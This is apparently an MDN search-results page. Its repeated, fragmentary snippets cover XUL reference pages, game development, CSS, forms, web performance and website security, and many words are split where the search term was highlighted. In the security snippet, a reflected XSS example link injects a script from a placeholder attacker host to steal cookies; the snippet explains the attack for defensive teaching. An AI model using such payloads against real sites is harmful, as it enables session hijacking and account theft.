... source code for the xul parser in python. import sys, glob, xmllib import os, re el_list = {} w = open('res.html', 'w') # unfortunately, i had to put this hack in here to suppress the printing out of the resolved namespace: # "xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul window", etc. ...
... source code for the xul parser in python. import sys, glob, xmllib import os, re el_list = {} w = open('res.html', 'w') # unfortunately, i had to put this hack in here to suppress the printing out of the resolved namespace: # "xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul window", etc. ...
...And 4 more matches
Accessibility/XUL Accessibility Reference - Archive of obsolete content
this table is designed to show how to expose text properly for various xul element types. sections in bold are to draw attention to pieces that are often overlooked for visual layouts. underlined text may be read by the screen reader. element enabled usage comments descr
iption <descr
iption value="<!-- text -->" /> <descr
iption><!--label text--></descr
iption> use for non-label text. although tutorials claim label and descr
iption have the same underlying implementation, descr
iption elements appear to not associate correctly with controls whereas labels do. label <label control="controlid" value="<!--label text-->" /> <label control="controlid"><!--label text--></label> either syntax is fine. button ...
...however, this attribute causes any xul loaded in the browser to have issues with jaws 7.10. we believe they are using the window class to determine that it is content rather than...
...caption label="<!--group label-->" /> <hbox> <button label="<!--button text-->" /> </hbox> </groupbox> iframe jaws 7.10 issues testing with jaws 7.10, use of an iframe element causes many, unpredictable issues with xul inside of the iframe. okay to use html inside of iframe. see browser element for more info. ...
...And 4 more matches
browser - Archive of obsolete content
<< xul reference home [ examples | attributes | properties | methods | related ] a xul <browser> element represents a frame which is expected to contain a view of a web document. it is similar to an iframe except that it holds a page history and contains additional methods to man
ipulate the currently displayed page. are you here looking for information about the firefox web browser, or because you'd like to download the latest version of firefox? get firefox most of the properties and methods of the browser will rarely be used and can only be called from chrome urls. other urls will need to use the document and history objects to change the displayed document. attributes autocompleteenabled, autocompletepopup, autoscroll, disablehistory, disableglobalhistory, dis...
...used and can only be called from chrome urls. other urls will need to use the document and history objects to change the displayed document. ...
...iner element (one of iframe, browser or editor) has one of the special type attribute values (the common ones are content, content-targetable and content-primary) indicating that the subdocument is of content type. this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and preventing documents from inheriting the princ
ipal of the parent document. the type attribute on all frames in content documents is ignored; subdocuments of content documents are always content documents. warning: the type attribute must be set before the element is inserted into the document. content a browser for content. the content that is loaded inside the browser is not allowed to access the chrome above it. content-primary...
...And 4 more matches
dialogheader - Archive of obsolete content
<< xul reference home [ examples | attributes | properties | methods | related ] a heading row for a dialog box. this element should be placed inside a dialog element. the header may have a title and a descr
iption. ...
... << xul reference home [ examples | attributes | properties | methods | related ] a heading row for a dialog box. this element should be placed inside a dialog element. the header may have a title and a descr
iption. ...
...ld be placed inside a dialog element. the header may have a title and a descr
iption. attributes crop, descr
iption, title examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="donothing" title="dialog example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <dialogheader title="my dialog" descr
iption="example dialog"/> <!-- other widgets --> </dialog> attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ell
ipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. ...
...And 4 more matches
menuitem - Archive of obsolete content
<< xul reference home [ examples | attributes | properties | methods | related ] a single choice in a menupopup element. it acts much like a button but it is rendered on a menu. more information is available in the xul tutorial. ...
... attribute is not specified, closes up the menu and all parent menus. single the menu the item is contained within is closed, but the parent menus remain open. none no menus are closed. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ell
ipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in r...
...de in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the start and end of the text normally. none the text will be not be cropped using an ell
ipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width css property (or t...
...And 4 more matches
toolbox - Archive of obsolete content
note: gecko 2.0 adds support for external toolbars. ...
... note: gecko 2.0 adds support for external toolbars. ...
... note: gecko 2.0 adds support for external toolbars. ...
...And 4 more matches
Building XULRunner with Python - Archive of obsolete content
this page describes how to build and use xulrunner with the python extension on windows and while generally useful it is written based on experiences with accessibility projects. see also xulrunner. or, if you are interested in working with xulrunner with python on linux, see mark lise's post with the python extensions enabled xulrunner provides python scr
ipt access to the dom and xpcom in addition to the usual java scr
ipt. this gives access to python features and modules and builds on mark hammond's pyxpcom work from active state. xpcom components can also be created in python. currently (mar 07) python is not enabled by default so a custom build of mozilla is needed. this page provides instructions in the hope of eliminating much trial and error. you should also read the the developer d...
... suitable for debugging xulrunner itself. it uses the trunk (or latest) code in cvs so may be unstable. ...
...f client.mk which will also checkout client.mk itself for build only, without checkouts, use make -f client.mk build and see client.mk for other options. the built xulrunner can then be found asc:\projects\obj-xulrunner\dist\bin\xulrunner.exe. using python in xul applications add the following to yourprefs.js during development pref("browser.dom.window.dump.enabled", true); pref("javascr
ipt.options.showinconsole", true); pref("javascr
ipt.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); html <scr
ipt> tags specify that python is used withtype="application/x-python" attribute. dom scr
ipting is pretty much as with java scr
ipt. for example def onload(): btntest = document.getelementbyid("btntest") btnte...
...And 4 more matches
Extentsions FAQ - Archive of obsolete content
p="40" left="80"/> <vbox> other content here </vbox> </stack> </window> the only restriction is that your image can't overlap the right or bottom of the window. there are workarounds to this restriction by messing around with overflow or negative margins but i forgot offhand how to do that. how to create a dynamic drop down menu that may have submenus using javascr
ipt for an extension? these two links should give you a starting point: http://www..xulplanet.com/tutorials/...u/advmenu.html http://www.xulplanet.com/tutorials/x...dommodify.html request for a thunderbird extension that can automatically detect the default domain when composing e-mails via autodetect. <https://bugzilla.mozilla.org/show_bug.cgi?id=312818> "thunderbird requires domain in addres...
...ever, i'm not sure how/if that works if the user hasn't defined a master password in options->security->use a master password. you can aes-128 or aes-256 symmetric encryption via aes.js (http://tinyurl.com/pp79t). no confirmation from the question asker on whether this answer was helpful in solving their problem. friday, october 06 - 13, 2006 (? top) any suggestions to remove tool t
ip appears on the menu it when it should not? what you described was a bug (https://bugzilla.mozilla.org/show_bug.cgi?id=147670). it looks like it has been fixed for firefox version 2. what do i need to do to avoid deadlocks? do i need to marshalinvokations to a particular thread? if so, how? are there any fundamental rules related to threading in xpcom, and if so, where are these defined? do...
...face(ci.nsiinterfacerequestor) .getinterface(ci.nsidomwindow) .queryinterface(ci.nsidomchromewindow); var sidebar = toplevelwindow.document.getelementbyid("sidebar"); alert(sidebar.contentdocument); is there anyone successfully using dojo in a firefox extension and where to fine sample codes? ...
...And 4 more matches
-ms-touch-select - Archive of obsolete content
remarks this property requires windows 8 or later. ...
... remarks this property requires windows 8 or later. ...
... remarks this property requires windows 8 or later. ...
...And 4 more matches
Debug - Archive of obsolete content
ct that sends output to a debugger. syntax you do not instantiate the debug object. its properties and methods are called off the debug class. there are different ways to debug internet explorer and windows 8.x store apps. in windows 8.x store apps, the write and writeln functions of the debug object display strings in the visual studio output window at run time. ...
... debugger. syntax you do not instantiate the debug object. its properties and methods are called off the debug class. there are different ways to debug internet explorer and windows 8.x store apps. in windows 8.x store apps, the write and writeln functions of the debug object display strings in the visual studio output window at run time. ...
...tantiate the debug object. its properties and methods are called off the debug class. there are different ways to debug internet explorer and windows 8.x store apps. in windows 8.x store apps, the write and writeln functions of the debug object display strings in the visual studio output window at run time. to debug internet explorer scr
ipts, you must have a scr
ipt debugger installed and the scr
ipt must run in debug mode. ...
...And 4 more matches
VBArray - Archive of obsolete content
safearray) parameters varname the variable name to which the vbarray is assigned. safearray a vbarray value. remarks vbarrays are read-only, and cannot be created directly. the safearray argument must have obtained a vbarray value before being passed to the vbarray constructor. this can only be done by retrieving the value from an existing activex or other object. ...
...ly be done by retrieving the value from an existing activex or other object. vbarrays can have mult
iple dimensions. the indices of each dimension can be different. the dimensions method retrieves the number of dimensions in the array; the lbound and ubound methods retrieve the range of indices used by each dimension. example the following example consists of three parts. the first part is vbscr
ipt code to create a visual basic safe array. the second part is javascr
ipt code that converts the visual basic safe array to a javascr
ipt array. both of these parts go into the <head> section of an html page. ...
... lbound and ubound methods retrieve the range of indices used by each dimension. example the following example consists of three parts. the first part is vbscr
ipt code to create a visual basic safe array. the second part is javascr
ipt code that converts the visual basic safe array to a javascr
ipt array. both of these parts go into the <head> section of an html page. the third part is the javascr
ipt code that goes in the <body> section to run the other two parts. ...
...And 4 more matches
2D collision detection - Game development
algorithms to detect collision in 2d games depend on the type of shapes that can collide (e.g. rectangle to rectangle, rectangle to circle, circle to circle). generally you will have a simple generic shape that covers the entity known as a "hitbox" so even though collision may not be pixel perfect, it will look good enough and be performant across mult
iple entities. this article provides a review of the most common techniques used to provide collision detection in 2d games. axis-aligned bounding box one of the simpler forms of collision detection is between two rectangles that are axis aligned -- meaning no rotation. the algorithm works by ensuring there is no gap between any of the 4 sides of the rectangles. any gap means a collision does not exist. var rect1 = {x: 5, y: 5, width: 50,...
...&& rect1.x + rect1.width > rect2.x && rect1.y < rect2.y + rect2.height && rect1.y + rect1.height > rect2.y) { // collision detected! } // filling in the values => if (5 < 30 && 55 > 20 && 5 < 20 && 55 > 10) { // collision detected! } rect code <div id="cr-stage"></div> <p>move the rectangle with arrow keys. ...
...width > rect2.x && rect1.y < rect2.y + rect2.height && rect1.y + rect1.height > rect2.y) { // collision detected! } // filling in the values => if (5 < 30 && 55 > 20 && 5 < 20 && 55 > 10) { // collision detected! } rect code <div id="cr-stage"></div> <p>move the rectangle with arrow keys. ...
...And 4 more matches
3D collision detection - Game development
aabb checking whether an aabb intersects another aabb is similar to the point test. we just need to do one test per axis, using the boxes' boundaries. the diagram below show...
...ects another aabb is similar to the point test. we just need to do one test per axis, using the boxes' boundaries. the diagram below shows the test we'd perform over the x-axis -- basically, do the ranges aminx-amaxx and bminx-bmaxx overlap? mathematically this would look like so: f(a,b)=(aminx<=bmaxx?amaxx>=bminx)?(aminy<=bmaxy?amaxy>=bminy)?(aminz<=bmaxz?amaxz>=bminz)f(a,b) = and in javascr
ipt, we'd use this: function intersect(a, b) { return (a.minx <= b.maxx && a.maxx >= b.minx) && (a.miny <= b.maxy && a.maxy >= b.miny) && (a.minz <= b.maxz && a.maxz >= b.minz); } bounding spheres using bounding spheres to detect collisions is a bit more complex than aabb, but still fairly quick to test. the main advantage of spheres is that they are invariant to rotation, so...
...oint is inside the sphere. taking into account that the euclidean distance between two points a and b is (ax-bx)2)+(ay-by)2+(az-bz)\sqrt{(a_x - b_x) ^ 2) + (a_y - b_y)^2 + (a_z - b_z)} , our formula for point vs. ...
...And 4 more matches
Building up a basic demo with PlayCanvas editor - Game development
ing a new project start a brand new project by clicking on the new button: the resulting dialog box will show a few different options. there are starter kits available, but we don't want to load models or start a platform game. we want to start small, so we will use the empty project -- click on the blank project option and enter a name for it (we are using "mdn games demo".) enter a descr
iption if you want -- it is optional. click create to have it created. next you'll see your project's page -- there's not much yet. by clicking the editor button we'll launch the online playcanvas editor where we'll create our scene with the shapes. do this now. creating the scene here's how the scene looks initially in the editor. even though it's a blank new project we don't have to start...
... sceene to apply that color. follow the same approach again to add a cone to the scene, giving it a grayish color (we used eaeff2.) you should now have three shapes on your scene, something like the below screenshot. ...
...cene, giving it a grayish color (we used eaeff2.) you should now have three shapes on your scene, something like the below screenshot. animating our scene animating 3d models might be considered an advanced thing to do, but all we want to do is to control a few properties of a given object -- we can use a scr
ipt component to do that. click on the plus button in the assets panel, select the scr
ipt option, and name your new scr
ipt file boxanimation.js. ...
...And 4 more matches
3D games on the Web - Game development
documentation and browser support the webgl project documentation and specification is maintained by the khronos group, not the w3c as with most of the web apis. support on modern browsers is very good, even on mobile, so you don't have to worry about that too much. ...
... documentation and browser support the webgl project documentation and specification is maintained by the khronos group, not the w3c as with most of the web apis. support on modern browsers is very good, even on mobile, so you don't have to worry about that too much. ...
... a lot more with webgl. there are some advanced concepts which you should dive into and learn more about -- like shaders, collision detection, or the latest hot topic: virtual reality on the web. shaders it's worth mentioning shaders, which are a separate story on their own. shaders use glsl, a special opengl shading language, with syntax similar to c, that is executed directly by the graphics p
ipeline. they can be split into vertex shaders and fragment shaders (or pixel shaders) -- the former transforms shape positions to real 3d drawing coordinates, while the latter computes rendering colors and other attributes. you should definitely check out glsl shaders article to learn more about them. collision detection it's hard to imagine a game without collision detection -- we always need to...
...And 4 more matches
Desktop mouse and keyboard controls - Game development
d platforms. we'll look at this below. it's also easier to test control-independent features like gameplay on desktop if you develop it there, so you don't have to push the files to a mobile device every time you make a change in the source code. note: the captain rogers: battle at andromeda is built with phaser and managing the controls is phaser-based, but it could also be done in pure javascr
ipt. the good thing about using phaser is that it offers helper variables and functions for easier and faster development, but it's totally up to you which approach you chose. pure javascr
ipt approach let's think about implementing pure javascr
ipt keyboard/mouse controls in the game first to see how it would work. first, we'd need an event listener to listen for the pressed keys: document.addeven...
...rue; } else if(event.keycode == 38) { uppressed = true; } } the keyuphandler looks almost exactly the same as the keydownhandler above, but instead of setting the pressed variables to true, we would set them to false. ...
...(uppressed) { playery -= 5; } ctx.drawimage(img, playerx, playery); requestanimationframe(draw); } the draw function first clears the whole canvas -- we draw everything from scratch on every single frame. then the pressed key variables are checked and the playerx and playery variables (that we define earlier just after leftpressed and the others) holding the position of the sh
ip are adjusted by a given amount, let's say 5 pixels. then the player's sh
ip is drawn on the screen and the next draw is called from within the requestanimationframe. we could write our own keycode object containing the key codes, for example: var keyboardhelper = { left: 37, up: 38, right: 39, down: 40 }; that way instead of using the codes to compare the input in the handler functions we could...
...And 4 more matches
Efficient animation for web games - Game development
there are several techniques worth knowing that will improve the performance of your game or application whilst also using less battery life, especially on low-end devices. ...
...is worth documenting some of these things, as there is evidence to suggest (in popular and widely-used ui libraries, for example) that they aren't necessarily common knowledge. first off, let us discuss some basic ideas. help the browser help you if you are using dom for your ui, which i would certainly recommend, you really ought to use css transitions and/or css animations, rather than javascr
ipt-powered animations. though javascr
ipt animations can be easier to express at times, unless you have a great need to synchronise ui animation state with game animation state, you're unlikely to be able to do a better job than the browser. the reason for this is that css transitions/animations are much higher level than javascr
ipt, and express a very specific intent. because of this, the browser c...
...ave a great need to synchronise ui animation state with game animation state, you're unlikely to be able to do a better job than the browser. the reason for this is that css transitions/animations are much higher level than javascr
ipt, and express a very specific intent. because of this, the browser can make some assumptions that it can't easily make when you're manually tweaking values in javascr
ipt. ...
...And 4 more matches
asm.js - Game development
asm.js is a specification defining a subset of javascr
ipt that is highly optimizable. this article looks at exactly what is permitted in the asm.js subset, what improvements it confers, where and how you can make use of it, and further resources and examples. what is asm.js, exactly? ...
... asm.js is a specification defining a subset of javascr
ipt that is highly optimizable. this article looks at exactly what is permitted in the asm.js subset, what improvements it confers, where and how you can make use of it, and further resources and examples. what is asm.js, exactly? ...
..., and further resources and examples. what is asm.js, exactly? ...
...And 4 more matches
Visual-js game engine - Game development
with strong connection with webpack physics done with (matter.js) matter ts this part is removed from this project. ...
... with strong connection with webpack physics done with (matter.js) matter ts this part is removed from this project. ...
... with strong connection with webpack physics done with (matter.js) matter ts this part is removed from this project. ...
...And 4 more matches
Function - MDN Web Docs Glossary: Definitions of Web-related terms
a function is a code sn
ippet that can be called by other code or by itself, or a variable that refers to the function. when a function is called, arguments are passed to the function as input, and the function can optionally return a value. a function in javascr
ipt is also an object. a function name is an identifier included as part of a function declaration or function expression. the function name's scope depends on whether the function name is a declaration or expression. different types of functions an anonymous function is a function without a function name. ...
...f a function declaration or function expression. the function name's scope depends on whether the function name is a declaration or expression. different types of functions an anonymous function is a function without a function name. ...
...on whether the function name is a declaration or expression. different types of functions an anonymous function is a function without a function name. only function expressions can be anonymous, function declarations must have a name: // when used as a function expression (function () {}); // or using the ecmascr
ipt 2015 arrow notation () => {}; the following terms are not used in the ecmascr
ipt language specification, they're jargon used to refer to different types of functions. a named function is a function with a function name: // function declaration function foo() {}; // named function expression (function bar() {}); // or using the ecmascr
ipt 2015 arrow notation const foo = () => {}; an inner function is a function inside another function (square in this case). an outer funct...
...And 4 more matches
Symbol - MDN Web Docs Glossary: Definitions of Web-related terms
in javascr
ipt, symbol is a primitive value. a value having the data type symbol can be referred to as a "symbol value". in a javascr
ipt runtime environment, a symbol value is created by invoking the function symbol, which dynamically produces an anonymous, unique value. a symbol may be used as an object property. symbol can have an optional descr
iption, but for debugging purposes only. a symbol value represents a unique identifier. for example: // here are two symbols with the same descr
iption: let sym1 = symbol("sym") let sym2 = symbol("sym") console.log(sym1 === sym2) // returns "false" // symbols are guaranteed to be unique. // even if we create many symbols with the same descr
iption, // they are different values. note: if you are familiar with ruby's (or another language...
...mbols with the same descr
iption: let sym1 = symbol("sym") let sym2 = symbol("sym") console.log(sym1 === sym2) // returns "false" // symbols are guaranteed to be unique. // even if we create many symbols with the same descr
iption, // they are different values. note: if you are familiar with ruby's (or another language) that also has a feature called "symbols", please don't be misguided. javascr
ipt symbols are different. symbol type is a new feature in ecmascr
ipt 2015. there is no ecmascr
ipt 5 equivalent for symbol. in some programming languages, the symbol data type is referred to as an "atom." symbols don't "auto-convert" to strings most values in javascr
ipt support implicit conversion to a string. for instance, we can alert almost any value, and it will work. symbols are special. t...
...) // typeerror: cannot convert a symbol value to a string that's a "language guard" against messing up, because strings and symbols are fundamentally different, and should not occasionally convert one into another. if you really want to show a symbol, we need to call .tostring() on it. let sym = symbol("sym") alert(sym.tostring()) // symbol(sym), now it works or you can use the symbol.descr
iption property to get its descr
iption: let _sym = symbol("sym"); alert(_sym.descr
iption); // sym well-known symbols the symbol class has constants for so-called well-known symbols. these symbols let you configure how js treats an object, by using them as property keys. examples of well-known symbols are: symbol.iterator for array-like objects, or symbol.search for string objects. they are lis...
...And 4 more matches
Organizing your CSS - Learn web development
ices for writing your css to make it easily maintainable, and some of the solutions you will find in use by others to help improve maintainability. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn some t
ips and best practices for organizing stylesheets, and find out about some of the naming conventions and tools in common usage to help with css organization and team working. t
ips to keep your css tidy here are some general suggestions for ways to keep your stylesheets organised and tidy. does your project have a coding style guide? if you are working with a team on an existing project, th...
... background-color: black; color: white; } css doesn't mind which one you use. we personally find it is more readable to have each property and value pair on a new line. comment your css adding comments to your css will help any future developer work with your css file, but will also help you when you come back to the project after a break. /* this is a css comment it can be broken onto mult
iple lines. */ a good t
ip is to add a block of comments between logical sections in your stylesheet too, to help locate different sections quickly when scanning through, or even give you something to search for to jump right into that part of the css. if you use a string which won't appear in the code you can jump from section to section by searching for it -- below we have used ||. /* || general ...
...p>, you would have to add another selector to these rules or create a whole new ruleset. instead, you could use the selector .box to apply your rule to any element that has the class box: .box { border: 1px solid #ccc; } there will be times when making something more specific makes sense, however this will generally be an exception rather than usual practice. ...
...And 4 more matches
Styling lists - Learn web development
basic computer literacy, html basics (study introduction to html), css basics (study introduction to css), css text and font fundamentals. objective: to become familiar with the best practices and properties related to styling lists. a simple list example to begin with, let's look at a simple list example. throughout this article, we'll look at unordered, ordered, and descr
iption lists -- all have styling features that are similar, and some that are particular to their type of list. the unstyled example is available on github (check out the source code too.) the html for our list example looks like so: <h2>shopping (unordered) list</h2> <p>paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, pa...
...xample is available on github (check out the source code too.) the html for our list example looks like so: <h2>shopping (unordered) list</h2> <p>paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <ul> <li>hummus</li> <li>pita</li> <li>green salad</li> <li>halloumi</li> </ul> <h2>rec
ipe (ordered) list</h2> <p>paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <ol> <li>toast pita, leave to cool, then slice down the edge.</li> <li>fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li>wash and chop the salad.</li> <li>fill pita with salad, ...
... for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <ol> <li>toast pita, leave to cool, then slice down the edge.</li> <li>fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li>wash and chop the salad.</li> <li>fill pita with salad, hummus, and fried halloumi.</li> </ol> <h2>ingredient descr
iption list</h2> <p>paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <dl> <dt>hummus</dt> <dd>a thick d
ip/sauce generally made from chick peas blended with tahini, lemon juice, salt, garlic, and other ingredients.</dd> <dt>pita</dt> <dd>a soft, slightly leavened flatbread.</dd> <dt>ha...
...And 4 more matches
What are browser developer tools? - Learn web development
this article explains how to use the basic functions of your browser's devtools. note: before you run through the examples below, open the beginner's example site that we built during the getting started with the web article series. you should have this open as you follow the steps below. ...
... inspecting uses css grid, this section allows you to view the grid details. fonts: in firefox, the fonts tab shows the fonts applied to the current element. find out more find more out about the inspector in different browsers: firefox page inspector ie dom explorer chrome dom inspector (opera's inspector works the same as this) safari dom inspector and style explorer the javascr
ipt debugger the javascr
ipt debugger allows you to watch the value of variables and set breakpoints, places in your code that you want to pause execution and identify the problems that prevent your code from executing properly. to get to the debugger: firefox: select ? web developer ? debugger or press ctrl + shift + s to open the javascr
ipt debugger. if the tools are already displayed, click ...
...e already displayed, click on the debugger tab. chrome: open the developer tools and then select the sources tab. (opera works the same way.) edge and internet explorer 11: press f12 and then, ctrl + 3, or if the tools are already displayed, click on the debugger tab. safari: open the developer tools and then select the debugger tab. exploring the debugger there are three panes in the javascr
ipt debugger on firefox. file list the first pane on the left contains the list of files associated with the page you are debugging. select the file you want to work with from this list. click on a file to select it and view its contents in the center pane of the debugger. source code set breakpoints where you want to pause execution. in the following image, the highlight on the number 18 show...
...And 4 more matches
Other form controls - Learn web development
n the data is submitted. <textarea> also takes a closing tag, and any default text you want it to contain should be put between the opening and closing tags. in contrast, the <input> is an empty element with no closing tag -- any default value is put inside the value attribute. note that even though you can put anything inside a <textarea> element (including other html elements, css, and javascr
ipt), because of its nature, it is all rendered as if it was plain text content. (using contenteditable on non-form controls provides an api for capturing html/"rich" content instead of plain text). visually, the text entered wraps and the form control is by default resizable. modern browsers provide a drag handle that you can drag to increase/decrease the size of the text area. the following scre...
...ame="simple"> <option value="banana">big, beautiful yellow banana</option> <option value="cherry">succulent, juicy cherry</option> <option value="lemon">sharp, powerful lemon</option> </select> by default, the height of the select box is enough to display a single value. the optional size attribute provides control over how many options are visible when the select does not have focus. ...
...nt, juicy cherry</option> <option value="lemon">sharp, powerful lemon</option> </select> by default, the height of the select box is enough to display a single value. the optional size attribute provides control over how many options are visible when the select does not have focus. mult
iple choice select box by default, a select box only lets the user select a single value. ...
...And 4 more matches
Image gallery - Learn web development
previous overview: building blocks now that we've looked at the fundamental building blocks of javascr
ipt, we'll test your knowledge of loops, functions, conditionals and events by getting you to build a fairly common item you'll see on a lot of websites -- a javascr
ipt-powered image gallery. prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of javascr
ipt loops, functions, conditionals, and events. starting point to get this assessment started, you should go and grab the z
ip file for the example, unz
ip it somewhere on your computer, and do the exercise locally to begin with. alternatively, you could use a site like jsbin or glitch to do your assess...
... note: if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. ...
...ing point to get this assessment started, you should go and grab the z
ip file for the example, unz
ip it somewhere on your computer, and do the exercise locally to begin with. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html, css and javascr
ipt into one of these online editors. if the online editor you are using doesn't have separate javascr
ipt/css panels, feel free to put them inline <scr
ipt>/<style> elements inside the html page. note: if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. ...
...And 4 more matches
Perceived performance - Learn web development
user perception. how fast a website feels like it's loading and rendering has a greater impact on user experience than how fast the website actually loads and renders. even if an operation is going to take a long time (because of latency or or inavailability of the main thread), it is possible to keep the user engaged while they wait by showing a loading spinner, or a series of useful hints and t
ips (or jokes, or whatever else you think might be appropriate). such an approach is much better than just showing nothing, which will make it feel like it is taking a lot longer and possibly lead to your users thinking it is broken and giving up. perceived performance the perception of how fast your site loads and how responsive feels to user interaction is vitally important; even more important ...
... fast once the user begins interacting with it. for this, time to interactive, is a good metric; it is the moment when the last long task of the load process finishes and the ui is available for user interaction with delay. ui lack or responsiveness and jank both harm perceived performance. even though a task may take a long time, though, there are ways to make it seem faster. there are several t
ips to improving perceived performance. improving perceived performance understanding networking, how the browser works, user perception of time, etc., can help you better understand how to improve the user interaction. however, you don't have to know the ins and outs of how everything, including how the human mind works, to improve the perception of speed. how fast or slow something feels like i...
...en the user is passively waiting, like staring at a monochrome screen. if both the passive and active waits time were objectively equal, users would estimate that the passive waiting period was longer than the active. if a load, render, or response time can not be objectively minimized any further, turning the wait into an active wait instead of a passive wait can make it feel faster. ...
...And 4 more matches
Web performance - Learn web development
building websites requires html, css, and javascr
ipt. to build websites and applications people want to use, which attract and retain users, you need to create a good user experience. part of good user experience is ensuring the content is quick to load and responsive to user interaction. this is known as web performance, and in this module you'll focus on the fundamentals of how to create performant websites. the rest of our beginner's learning material tried to stick to web best practices such as performance and accessibility as much as possible, however, it is good to focus specifically on such topics too, and make sure you are familiar with them. ...
...ormance, and in this module you'll focus on the fundamentals of how to create performant websites. the rest of our beginner's learning material tried to stick to web best practices such as performance and accessibility as much as possible, however, it is good to focus specifically on such topics too, and make sure you are familiar with them. learning pathway while knowing html, css, and javascr
ipt is needed for implementing many web performance improvement recommendations, knowing how to build applications is not a necessary pre-condition for understanding and measuring web performance. we do however recommend that before you work through this module, you at least get a basic idea of web development by working through our getting started with the web module. it would also be helpful to g...
...cations is not a necessary pre-condition for understanding and measuring web performance. we do however recommend that before you work through this module, you at least get a basic idea of web development by working through our getting started with the web module. it would also be helpful to go a bit deeper into these topics, with modules such as: introduction to html css first steps javascr
ipt first steps once you've worked through this module, you'll probably be excited to go deeper into web performance -- you can find a lot of further teachings in our main mdn web performance section, including overviews of performance apis, testing and analysis tools, and performance bottleneck gotchas. guides this topic contains the following guides. the following is a suggested order for work...
...And 4 more matches
Website security - Learn web development
n introductory topic, designed to help you start thinking about website security, but it is not exhaustive. website security threats this section lists just a few of the most common website threats and how they are mitigated. as you read, note how threats are most successful when the web application either trusts, or is not paranoid enough about the data coming from the browser. cross-site scr
ipting (xss) xss is a term used to describe a class of attacks that allow an attacker to inject client-side scr
ipts through the website into the browsers of other users. because the injected code comes to the browser from the site, the code is trusted and can do things like send the user's site authorization cookie to the attacker. when the attacker has the cookie, they can log into a site as thoug...
...s the cookie, they can log into a site as though they were the user and do anything the user can, such as access their credit card details, see contact details, or change passwords. note: xss vulnerabilities have been historically more common than any other type of security threat. the xss vulnerabilities are divided into reflected and persistent, based on how the site returns the injected scr
ipts to a browser. a reflected xss vulnerability occurs when user content that is passed to the server is returned immediately and unmodified for display in the browser. any scr
ipts in the original user content will be run when the new page is loaded. for example, consider a site search function where the search terms are encoded as url parameters, and these terms are displayed along with the r...
...at is passed to the server is returned immediately and unmodified for display in the browser. any scr
ipts in the original user content will be run when the new page is loaded. for example, consider a site search function where the search terms are encoded as url parameters, and these terms are displayed along with the results. an attacker can construct a search link that contains a malicious scr
ipt as a parameter (e.g., http://mysite.com?q=beer<scr
ipt%20src="http://evilsite.com/tricky.js"></scr
ipt>) and email it to another user. if the target user clicks this "interesting link", the scr
ipt will be executed when the search results are displayed. as discussed earlier, this gives the attacker all the information they need to enter the site as the target user, potentially making purchases as t...
...And 4 more matches
Routing in Ember - Learn web development
objective: to learn about implementing routing in ember. ...
... objective: to learn about implementing routing in ember. ...
...outing, or url-based filtering as it is sometimes referred to. we'll use it to provide a unique url for each of the three todo views -- "all", "active", and "completed". prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascr
ipt languages, and have knowledge of the terminal/command line. a deeper understanding of modern javascr
ipt features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to learn about implementing routing in ember. url-based filtering ember comes with a routing system that has a tight integration with the browser url. typically, when writing web applications, you want the page to be represented by the url so that if (for a...
...And 4 more matches
Styling Vue components with CSS - Learn web development
for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. ...
...for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. ...
...for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn about styling vue components. ...
...And 4 more matches
omni.ja (formerly omni.jar)
with firefox 10 and thunderbird 10, the file extension .ja is used because windows system restore does not back up files with the .jar extension, but it does back up .ja files. this change was needed to prevent firefox from becoming corrupted. inspecting and repacking omni.ja note: when extracting omni.ja, you may incorrectly get false warnings from some virus protection software. ...
... is used because windows system restore does not back up files with the .jar extension, but it does back up .ja files. this change was needed to prevent firefox from becoming corrupted. inspecting and repacking omni.ja note: when extracting omni.ja, you may incorrectly get false warnings from some virus protection software. ...
...ge was needed to prevent firefox from becoming corrupted. inspecting and repacking omni.ja note: when extracting omni.ja, you may incorrectly get false warnings from some virus protection software. several unz
ip tools and archives (except for the latest version of 7-z
ip) currently cannot read omni.ja, due to the optimization that is applied to the file. it is suggested that windows 7 users unz
ip the file by renaming it to omni.z
ip and using windows explorer to extract all files. ...
...And 4 more matches
Embedding API for Accessibility
related to accessibility. for the most part, an automatic reframe is performed when one of these prefs is changed. a reframe fixes the appearance of the page to match the new prefs, without reloading the document over the network. ...
